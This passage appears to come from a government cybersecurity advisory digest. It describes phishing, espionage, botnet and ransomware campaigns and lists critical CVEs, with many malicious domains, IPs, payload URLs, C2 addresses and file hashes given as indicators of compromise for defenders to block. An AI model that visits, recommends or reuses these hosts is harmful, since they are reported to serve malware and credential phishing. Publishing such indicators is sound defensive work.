email.gov.in.ministryofdefenceindia.link

email.gov.in.indiandefence.nl

emmail.com

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-PHI-2025-02-04-005**

It has been observed that adversaries are targeting government personnel using spoofed/compromised email IDs, malicious domains, Phishing web pages and Vishing techniques. The email contains an attachment file named "Minutes of Mtg HQ IDS 29 Jan 25 .pdf" which contains a hyperlink with the title "View Document". Upon clicking, the hyperlink opens the phishing page of the NIC login page and seeks for username and password. The IP address and domain is malicious and currently active in compromising the user credentials/propagating malware payload.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**URL:-**

https://email.gov.in.departmentofdefence.link/service/home/?auth=co&id=29238&filename=MIN%20OF%20Def%20Army%20Integrated%20Headquarters%20&charset=UTF-8

**Domain:-**

departmentofdefence.link

**IPs:-**

45.141.59.95

146.70.96.77

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-MAW-2025-02-06-005**

It has been observed that threat actors in an ongoing spear-phishing email campaign are using a deceptive LNK file embedded within an archive to deploy the Sliver implant. Upon execution, this LNK file triggers cmd.exe to copy and run wksprt.exe, a legitimate executable. This executable sideloads a malicious DLL that employs DLL proxying, ensuring the host application continues to operate seamlessly while executing malicious shellcode in the background. The shellcode ultimately decrypts and executes the final payload, Sliver, a well-known open-source Red Team/adversary emulation framework

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**HASHES:**

83a70162ec391fde57a9943b5270c217d63d050aae94ae3efb75de45df5298be

f778825b254682ab5746d7b547df848406bb6357a74e2966b39a5fa5eae006c2

9b613f6942c378a447c7b75874a8fff0ef7d7fd37785fdb81b45d4e4e2d9e63d

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-MAW-2025-02-06-006**

Based on analysis, please find below malicious IoCs targeting Critical Information Infrastructures (CII). Consider life span for malicious IP addresses at least 14 days.

The presence of malicious IoCs has been found in Indian Cyberspace.

Please find below IOCs in this regard.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**IPs:**

27.109.25.4

37.120.143.202

13.91.165.194

13.83.43.246

154.194.50.221

209.38.94.105

179.61.170.109

139.59.113.63

52.160.71.53

170.64.159.120

167.172.124.8

156.229.232.174

51.8.222.211

52.167.144.215

104.152.52.83

45.144.212.139

24.144.89.39

78.153.140.203

204.188.228.55

104.21.16.1

162.243.113.180

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **VA-2025-02-06-002**

**Vulnerability in Tenda**

A stack overflow vulnerability has been discovered in Tenda. The affected version is Tenda AC18 V15.03.05.19.

CVE ID: CVE-2024-57575 (Critical)

**Vulnerability in iDRAC9**

A session hijacking vulnerability has been discovered in IPMI for iDRAC9. The affected versions are iDRAC9, versions prior to 7.00.00.172 for 14th Generation and 7.10.50.00 for 15th and 16th Generations.

CVE ID: CVE-2024-25943 (Critical)

**Vulnerability in Microsoft Dataverse**

An untrusted search path vulnerability has been discovered in Microsoft Dataverse.

CVE ID: CVE-2024-35260 (Critical)

**Vulnerability in Eclipse Target Management**

A Remote Code Execution (RCE) vulnerability has been discovered in Eclipse Target Management: Terminal and Remote System Explorer (RSE). The affected versions are Eclipse Target Management: Terminal and Remote System Explorer (RSE) version 4.5.400 and below.

CVE ID: CVE-2024-0740 (Critical)

**Vulnerability in Metagauss RegistrationMagic**

A missing authorization vulnerability has been discovered in Metagauss RegistrationMagic. The affected versions are RegistrationMagic from n/a through 5.2.5.9.

CVE ID: CVE-2024-25935 (Critical)

**Vulnerability in sngrep**

A stack-buffer overflow vulnerability has been discovered in sngrep. All versions of sngrep since v1.4.1 are affected.

CVE ID: CVE-2024-3120 (Critical)

**Cisco Released Security Updates for Cisco Identity Services Engine**

Cisco has released security updates to address insecure Java deserialization and authorization bypass vulnerabilities in Cisco Identity Services Engine.

CVE ID: CVE-2025-20124 (Critical), CVE-2025-20125 (Critical)

**Vulnerability in IBM Security Verify Directory**

An arbitrary command execution vulnerability has been discovered in IBM Security Verify Directory. The affected versions are IBM Security Verify Directory 10.0.0 through 10.0.3.

CVE ID: CVE-2024-51450 (Critical)

**Vulnerability in OpenImageIO**

A heap overflow vulnerability has been discovered in OpenImageIO. The affected version is OpenImageIO v3.1.0.0dev.

CVE ID: CVE-2024-55192 (Critical)

**Vulnerability in Build App Online**

A PHP remote file inclusion vulnerability has been discovered in Build App Online. The affected versions are Build App Online from n/a through 1.0.23.

CVE ID: CVE-2024-49649 (Critical)

**Vulnerability in Cleo**

A vulnerability has been discovered in Cleo Harmony, VLTrader and LexiCom that allows to import and execute arbitrary bash or PowerShell commands on the host system by leveraging the default settings of the Autorun directory.

CVE ID: CVE-2024-55956 (Critical)

**Vulnerability in Zyxel**

An insecure default credentials vulnerability has been discovered in the Telnet function of legacy DSL CPE Zyxel. The affected version is legacy DSL CPE Zyxel VMG4325-B10A firmware version 1.00(AAFR.4)C0\_20170615.

CVE ID: CVE-2025-0890 (Critical)

**Vulnerability in Dell**

A use of a broken or risky cryptographic algorithm vulnerability has been discovered in Dell RecoverPoint for VMs that leads to remote execution. The affected version is Dell RecoverPoint for VMs version 6.0.x.

CVE ID: CVE-2024-28980 (Critical)

**Vulnerability in SCG Policy Manager**

A Cross-Origin Resource Policy (CORP) vulnerability has been discovered in SCG Policy Manager that leads to the execution of malicious actions on the application in the context of the authenticated user.

CVE ID: CVE-2024-37131 (Critical)

**Multiple Vulnerabilities in Elber's Equipment**

Multiple vulnerabilities in Elber's Equipment- Communications Equipment that allow administrative access to the affected device. The affected versions are Signum DVB-S/S2 IRD versions 1.999 and prior, Cleber/3 Broadcast Multi-Purpose Platform version 1.0, Reble610 M/ODU XPIC IP-ASI-SDH version 0.01, ESE DVB-S/S2 Satellite Receiver versions 1.5.179 and prior and Wayber Analog/Digital Audio STL version 4.

CVE ID: CVE-2025-0674 (Critical), CVE-2025-0675 (High)

**Vulnerability in AutomationDirect's Equipment**

A buffer overflow vulnerability has been discovered in AutomationDirect's Equipment- C-more EA9 HMI that allows Denial of Service (DoS) condition or achieve Remote Code Execution (RCE) on the affected device. The mitigations are available.

CVE ID: CVE-2025-0960 (Critical)

1. **TA-MAW-2025-02-06-007**

It has been observed that a new malware called OtterCookie, is part of a broader cyber campaign named Contagious Interview Campaign, which targets software developers with fake job offers to deliver malware such as BeaverTail and InvisibleFerret. OtterCookie is delivered via a loader that fetches JSON data and executes JavaScript code. Once active, OtterCookie communicates with a Command and Control (C2) server and steals sensitive data, including cryptocurrency wallet keys, documents, and clipboard content. It also performs reconnaissance commands to prepare for deeper infiltration.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**HASHES:**

32257fb11cc33e794fdfd0f952158a84b4475d46f531d4bee06746d15caf8236

4e0034e2bd5a30db795b73991ab659bda6781af2a52297ad61cae8e14bf05f79

7846a0a0aa90871f0503c430cc03488194ea7840196b3f7c9404e0a536dbb15e

d19ac8533ab14d97f4150973ffa810e987dea853bb85edffb7c2fcef13ad2106

**IP:**

45.159.248.55

**Domains:**

payloadrpc.com

w3capi.marketing

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-MAW-2025-02-06-008**

It has been observed that Phorpiex aka Trik, a botnet used to distribute LockBit ransomware. Phorpiex has evolved to deliver the LockBit payload automatically, differing from traditional ransomware attacks that involve human operators. Phorpiex primarily spreads through phishing emails that contain malicious ZIP attachments. These attachments commonly include LNK files or SCR files, which are used to trigger the download and execution of ransomware or other malicious payloads. The TWIZT downloader, associated with LNK files, and the LockBit downloader, linked to SCR files, are specifically crafted to bypass security filters and run on compromised systems. These downloads execute the ransomware payload automatically, encrypting the victim's files and demanding a ransom.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**HASHES:**

e248b01e3ccde76b4d8e8077d4fcb4d0b70e5200bf4e738b45a0bd28fbc2cae6

e9fad9727b8a66e6b593d8b416f1c60b692ffc91b72e14bb30c40a1ce9b6a260

5e1cec9e9011fc96638620a2ca8e08eeaeaea8a28c47fe619082abcc6794aebc

e248b01e3ccde76b4d8e8077d4fcb4d0b70e5200bf4e738b45a0bd28fbc2cae6

**Domain:**

twizt.net

**IP:**

193.233.132.177

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-MAW-2025-02-07-009**

It has been observed that threat actors are using MEDIAARENA malware to hijack browser sessions through malvertising. Once installed, MEDIAARENA manipulates browser settings, including search engines, and exploits Chromium's remote debugging feature to gain access to sensitive session data like cookies. It maintains persistence through scheduled tasks and alters browser behaviors without detection.

**Initial Execution & Evasion Techniques :** The malware is signed with valid code-signing certificates, making it appear legitimate and bypassing traditional security measures. It uses time-based evasion techniques to delay execution, preventing detection by sandboxing environments.

**Persistence Mechanisms :** MEDIAARENA establishes persistence through scheduled tasks, ensuring it runs automatically upon system reboot. The malware modifies Windows registry entries related to browser settings to prevent easy removal.

**Exploitation of Chromium’s Remote Debugging Feature :** The malware launches a hidden browser window using Chromium’s --remote-debugging-port flag. By leveraging remote debugging, MEDIAARENA gains unauthorized access to browser cookies and session data. It alters search engine settings and redirects traffic to attacker-controlled domains.

**Data Collection & Exfiltration :** MEDIAARENA silently collects browsing data, including search queries and session cookies, which may be used for targeted phishing attacks or further exploitation. The stolen data is either exfiltrated to Command and Control (C2) servers or used to redirect user searches to malicious sites for financial gain.

**MITRE ATT&CK Identifier:**

T1557: Man-in-the-Middle (Session Hijacking)

T1071.001: Application Layer Protocol - Web Protocols

T1053.005: Scheduled Task/Job

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**HASHES:**

e248b01e3ccde76b4d8e8077d4fcb4d0b70e5200bf4e738b45a0bd28fbc2cae6

e9fad9727b8a66e6b593d8b416f1c60b692ffc91b72e14bb30c40a1ce9b6a260

5e1cec9e9011fc96638620a2ca8e08eeaeaea8a28c47fe619082abcc6794aebc

e248b01e3ccde76b4d8e8077d4fcb4d0b70e5200bf4e738b45a0bd28fbc2cae6

**Domain:**

goto.searchpoweronline.com

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-RAN-2025-02-07-002**

It has been observed that Windows Locker ransomware, written in the .NET framework, is primarily targeting Windows operating systems. Adversary encrypts files on the victim’s machine, adding a ".winlocker" extension to each encrypted file. The encryption is done using AES 256-bit encryption, a strong encryption algorithm, which makes it very difficult for victims to recover their files without the decryption key.

A key aspect of this ransomware is its persistence mechanisms. Once the malware is executed, it takes steps to ensure that it remains active on the infected machine by modifying Windows system settings to disable critical security features such as Windows Defender, which is designed to protect the system from malicious software. It also prevents access to system utilities like the Task Manager, Registry Editor and the Command Prompt, making it harder for users to attempt recovery or to remove the malware manually. The ransomware alters key registry values to ensure it is executed every time the system starts up, allowing it to persist even after a reboot. It also attempts to spread across any connected removable drives, such as USB devices, to further propagate the infection to other machines.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**Hashes:**

5c86de54f31352ead8d2b3e573ea42fd

1f32f454ba32de5e0b7ed429b3542cdb0a9f826f5f5146f206baf074ec1abfe0

**URL:-**

https://y2kid.xyz/mainpage/internets.jpg

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-APT-2025-02-07-001**

Reference is made to earlier advisories on APT36 Campaign.

APT36 a.k.a. Transparent Tribe is deploying CrimsonRAT, a Remote Access Trojan (RAT) for cyber-espionage activities, particularly against government, defense, and military targets. CrimsonRAT allows attackers to remotely control infected systems, steal sensitive information, log keystrokes, capture screenshots, and exfiltrate data.

**Common Features of APT36 Threat Actor:**

* Spear-Phishing (highly targeted and convincing phishing emails to trick victims)
* Information Theft (documents, credentials, and personal data)
* Remote Access
* Credential Harvesting
* Data Exfiltration
* Persistence Mechanisms

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**IPs:**

209.127.18.107

209.126.7.21

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-PHI-2025-02-07-006**

It has been observed that a malicious domain has been identified impersonating an official Indian Navy website and is hosting a malicious APK file aimed at compromising user devices. The APK file is being used for cyber espionage, credential theft, or remote access to infected systems. The domain is also linked to a Command & Control (C2) infrastructure, facilitating remote control of compromised devices.

The following permissions are invoked by the APK - Internet, Read Media (images, audio, video) and media location, Read Contacts, Read Call Log, Read, write and manage external Storage.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**Domain:**

indiannavyofficial.com

**IP:**

66.29.153.162

**Hash:**

b0d3a39a40dc9db7604900545b48a54d89afbdbc

**Filename:**

npo.apk

**Command & Control (C2):**188.166.119.119

**Port:**7774

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **VA-2025-02-07-003**

An "OS Command Injection" vulnerability tracked as CVE-2025-22604 is being exploited and affecting Cacti network monitoring tool. On successful exploitation of this vulnerability, it allows a remote, privileged attacker to execute arbitrary code. Cacti is an open source performance and fault management framework.

The vulnerability arises from a defect in the multi-line SNMP result parser, which allows authenticated users to inject malformed Object Identifiers (OIDs) into responses. This malformed data can lead to a command execution vulnerability when processed by certain functions, enabling attackers to execute arbitrary code on the server. As a result, they may gain access to sensitive data, potentially allowing for theft, alteration, or deletion of this information.

**Impacts:**

* Remote Code Execution: Authenticated attackers can execute arbitrary code on the server, leading to serious security breaches.
* Data Theft: Attackers may steal sensitive data, compromising user privacy and organizational integrity.
* Data Manipulation: The vulnerability enables the editing or deletion of critical data, affecting operational continuity.
* System Compromise: Full control over the server can be achieved by attackers, leading to further exploitation of connected systems.
* Increased Attack Surface: Organizations using vulnerable versions of Cacti may become targets for other malicious activities following an initial breach.
* Compliance Risks: Organizations may face legal repercussions for failing to protect sensitive information, potentially leading to regulatory fines.
* Reputation Damage: Exploitation of the vulnerability can lead to loss of trust among clients and stakeholders.
* Operational Disruption: The need to address the breaches and restore systems can lead to significant downtime and resource allocation issues.

1. **TA-PHI-2025-02-10-007**

It has been observed that in a phishing campaign, adversaries targeted Microsoft Ads users through malicious Google Ads. Adversaries have created fake Google Ads that appeared in search results for terms related to "Microsoft Ads" and directed users to phishing sites that mimicked the official Microsoft Ads login page. Adversary aims are to capture login credentials, including usernames and passwords. These fake ads used cloaking techniques to avoid detection, and some phishing pages used Cloudflare for human verification, making them appear more legitimate.

Cloaking is a technique used by cybercriminals to deceive security systems or search engines by displaying different content to different users. This allows adversaries to bypass automated security checks and make their phishing sites appear trustworthy to users who interact with them.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**Domains:**

ads.mcrosoftt.com

30yp.com

aboutadvertselive.com

aboutblngmicro.cloud

account-microsoft.online

account-microsoft.site

account-mircrosoft-ads.com

account.colndcx-app.com

accounts-ads.site

accounts-mircrosoft-ads.online

acount-exchang.store

admicrosoft.com

admicrsdft.com

ads-adversitingb.com

ads-dsas.site

ads-microsoft.click

ads-microsoft.coachb-learning.com

ads-microsoft.live

ads-microsoft.lubrine.com.br

ads-microsoft.online

ads-microsoft.shop

ads-microsoftz.online

ads-miicrosoft.com

ads-mlcrosft.com

ads-mlcrosoft-com.blokchaln.com

ads.microsoft.com.euroinvest.ge

ads.mlcr0soft.com

ads.mlcrosoft.com.ciree.com.br

ads.mlcrosoft.com.poezija.com.hr

ads.rnlcrosoft.com.euroinvest.ge

adslbing.com

adsmicro.exchangefastex.cloud

adsmicrosoft.shop

adsverstoni.com

advertiseliveonline.com

advertising-bing.site

advertising-mlcrosoft.org

adverts2023.online

advertsingsinginbing.com

agency-wasabi.com

app.beefylswap.top

bîlkub.com

bing-ads.com

bing.login-acount.me

bitmax-us.com

blngad.online

blseaccount.cloud

bltrue.colnhouse-fr.us

côinlíst.online

colneex-plalform.cloud

connec-exchan.site

digitechmedia.agency

forteautomobile.com

global-verifications.com

global-verify.com

homee-acount.com

itlinks.com.cn

krakeri-login.com

login-adsmicrosoft.helpexellent.com

login.adsadvertising.online

login.microsofttclicks.live

micrasofit.xyz

microosft.accounts-ads.site

microsoft-ads.website

microsoftadss.com

microsoftadversiting.cloud

microsoftbingads.com

microsofyt.adversing-publicidade.pro

mictrest.mnws.ru

mlcrosoft-bing-acces.click

mlcrosoftadvertlsing.online

mudinhox.site

ndnet.shop

phlyd.com

portfoliokrakenus.com

microsoftadss.com

microsoftbingads.com

portfoliolkraken.com

portfoliopro-us.com

portfolioskranen.com

portofolioprospots.com

potfoliokeiolenen.com

potfoliokelaken.com

potfoliokelaneken.com

potfoliokenaiken.com

potfoliokenkren.com

potfolioketonelen.com

potfolioskaneken.com

potfolioskenaken.com

potfolioskraineken.com

potfolioskranaken.com

potfolioskraneken.com

pro-digitalus.com

prokrakenportfolio.com

rnlcrosoft.smartlabor.it

sig-in-mlcrosoft-advertisings.site

uiiadvertise.online

wvvw-microsoft.xyz

www-bingads.com

www-microsoftsads.com

www-v.userads.digital

www34.con-webs.com

www55.con-webs.com

ads-microsoft.bewears.com

ads.msicrosoft.com

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-MI-2025-02-10-001**

Based on analysis, please find below malicious IoCs targeting Critical Information Infrastructures (CII). Consider life span for malicious IP addresses at least 14 days.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

IPs:

112.53.229.77

102.212.40.136

147.79.71.92

117.235.146.5

223.155.52.240

223.8.219.213

114.33.69.79

178.141.120.243

120.86.252.161

178.141.244.50

27.43.205.155

103.199.200.110

222.104.180.217

94.103.125.134

103.15.254.117

103.207.125.58

178.72.69.197

45.125.66.56

103.208.230.210

113.220.21.1

193.239.147.201

89.22.230.162

112.94.99.184

175.107.3.188

223.154.90.132

175.5.9.229

103.200.86.31

27.43.206.39

82.180.146.166

120.85.118.223

134.209.250.98

178.128.114.165

113.220.21.1

103.42.243.5

120.85.94.160

120.85.119.69

45.125.66.56

120.138.12.16

120.85.118.223

122.96.50.172

193.239.147.201

175.107.3.188

1.81.199.95

27.43.206.111

222.104.180.217

120.85.117.190

120.85.93.217

220.198.241.216

45.164.177.58

120.85.184.217

90.188.224.225

URLs:-

http://103.199.202.141:34816/

http://45.164.177.230:10608/

http://175.165.83.47:49572/

http://119.237.0.32:42295/

http://117.209.241.130:45742/

http://103.124.138.185:49959/

http://117.209.94.86:37431/

http://45.164.177.126:10153/

http://117.244.78.231:51186/

http://45.164.177.126:10916/

http://222.141.122.210:37198/

http://45.164.177.41:11594/

http://45.164.177.22:11097/

http://115.57.25.30:53880/

http://45.230.66.25:10146/

http://59.88.134.240:48652/

http://117.209.89.183:52850/

http://117.253.163.122:40425/

http://117.253.168.19:60207/

http://45.164.177.161:11446/

http://42.231.222.236:60259/

http://103.203.72.255:58034/

http://45.164.177.143:10602/

http://117.235.50.34:33477/

http://112.248.1.92:50222/

http://222.136.87.233:55881/

http://110.183.18.82:42245/

http://223.8.193.33:34000/

http://121.238.154.62:34938/

http://222.137.150.91:50422/

http://45.164.177.202:10834/

http://113.90.49.250:55842/

http://45.230.66.17:10644/

http://59.95.91.129:54380/

http://59.88.238.187:46385/

http://182.127.37.66:33050/

http://45.164.177.69:10419/

http://117.223.3.42:49888/

http://182.119.111.187:57467/

http://45.178.250.136:10319/

http://103.207.125.210:48679/

http://223.151.75.221:51736/

http://117.206.183.179:52863/

http://161.248.55.88:40685/

http://117.206.181.129:38438/

http://45.230.66.50:10477/

http://45.164.177.85:10257/

http://103.247.52.195:59639/

http://117.235.111.146:47738/

http://117.209.23.167:32940/

http://27.122.61.188:36644/

http://175.173.82.46:33610/

http://192.15.10.231:53352/

http://222.219.4.31:34036/

http://1.70.97.159:56715/

http://115.63.13.91:59385/

http://182.115.250.245:59091/

http://222.138.119.197:36807/

http://222.104.180.217:19490/

http://180.107.39.152:46030/

http://117.209.21.208:54031/

http://178.74.250.99:42925/

http://45.164.177.165:11776/

http://94.156.58.126:45468/

http://103.199.202.73:42249/

http://219.157.32.223:55660/

http://37.232.77.54:40904/

http://59.88.239.106:59182/

http://45.164.177.102:11595/

http://123.129.61.128:47692/

http://45.164.177.197:10911/

http://59.89.196.102:35760/

http://115.60.248.113:58708/

http://59.89.67.56:58033/

http://123.159.71.249:40519/

http://117.253.7.43:41573/

http://125.47.192.169:33021/

http://117.235.111.146:47738/

http://36.97.200.96:39309/

http://112.237.166.137:48166/

http://117.205.169.156:38784/

http://45.164.177.139:10157/

http://117.215.61.186:60303/

http://103.207.124.196:43532/

http://45.178.250.136:10319/

http://45.115.89.88:50477/

http://119.185.255.113:59587/

http://59.95.91.129:54380/

http://5.0.0.112:47705/

http://117.213.82.28:52251/

http://42.56.139.187:59932/

http://182.127.37.66:33050/

http://117.209.241.130:45742/

http://117.244.78.231:51186/

http://103.207.125.210:48679/

http://42.228.114.226:49731/

http://59.88.239.106:59182/

http://161.248.55.88:40685/

http://59.88.144.186:51945/

http://123.4.163.246:53271/

http://223.10.26.117:56291/

http://222.219.4.31:34036/

http://42.231.222.236:60259/

http://117.253.168.19:60207/

http://61.52.221.43:52645/

http://121.231.154.6:46168/

http://178.94.183.151:44584/

http://117.215.58.71:43848/

http://59.88.238.187:46385/

http://117.209.86.19:43446/

http://123.154.11.137:41063/

http://102.33.110.123:37300/

http://115.50.222.49:50075/

http://36.104.192.66:52291/

http://45.164.177.69:10419/

http://117.209.31.138:57494/

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-MAW-2025-02-10-010**

It has been observed that threat actors are leveraging the WsgiDAV infrastructure to distribute several different malware families through a Python-based malware loader.

**Distribution Methods:**

The primary method employed by threat actors is Phishing Emails: Victims receive emails containing URLs or attachments that initiate malware downloads through internet shortcuts or HTML files/ZIP Archives.

Other Techniques used by Attackers:-

* Batch files are being used to check for antivirus presence.
* Abusing Cloudflare Services to create temporary tunnels, thereby bypassing traditional security measures and static blocklist .
* Employing obfuscated payloads and utilizing SSL connections to securely transfer data, minimizing the chances of detection.

**Impacts:**

* Unauthorized Access: RATs allow attackers to gain remote access to victim systems, leading to potential data breaches and system manipulation.
* Data Theft: Sensitive information can be exfiltrated from compromised systems, posing significant risks to individuals and organizations.
* Increased Cybersecurity Threats: The distribution of multiple malware families increases the complexity of threats faced by organizations, complicating detection and response efforts.
* Operational Disruption: Successful infections can lead to system downtime and loss of productivity as organizations respond to breaches.

Please find additional IOCs in this regard.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**Domains:**

dbasopma.club

desired-equally-delete-choir.trycloudflare.com

dbasopmagroup.forum

send-producing-recipes-moss.trycloudflare.com

metropolitan-extraction-by-consisting.trycloudflare.com

portion-bottle-statute-breeding.trycloudflare.com

kmaybelsrka.sbs

dbasopma.one

violence-basketball-preserve-switches.trycloudflare.com

dbasopma.me

diploma-retained-solid-prot.trycloudflare.com

may-holder-testimony-dated.trycloudflare.com

lbs-reactions-decorating-inline.trycloudflare.com

kmaybelsrka.my

kinggamminginvoicfin.shop

kmaybelsrka.club

wars-middle-postposted-baker.trycloudflare.com

here-industry-wind-greece.trycloudflare.com

recommends-returned-browser-brave.trycloudflare.com

facts-at-pennsylvania-compliance.trycloudflare.com

prtmscaup.my

level-kevin-sing-jordan.trycloudflare.com

des-ip-catering-viewing.trycloudflare.com

prtmscaup.click

barry-physics-replace-endangered.trycloudflare.com

holder-apartments-face-matthew.trycloudflare.com

automatically-taxes-hometown-opponents.trycloudflare.com

partinvshipppjbb.xyz

casinos-closed-paxil-enabled.trycloudflare.com

invrecipingpayrhnmusic.icu

partinvshipppjbb.click

sa-low-integral-representative.trycloudflare.com

leisure-breathing-recreational-sd.trycloudflare.com

ready-bathroom-carter-membrane.trycloudflare.com

german-multiple-reunion-foundation.trycloudflare.com

invoiceposs.shop

goninvoicceme.shop

fit-retired-athletics-marathon.trycloudflare.com

previews-belgium-achieved-driving.trycloudflare.com

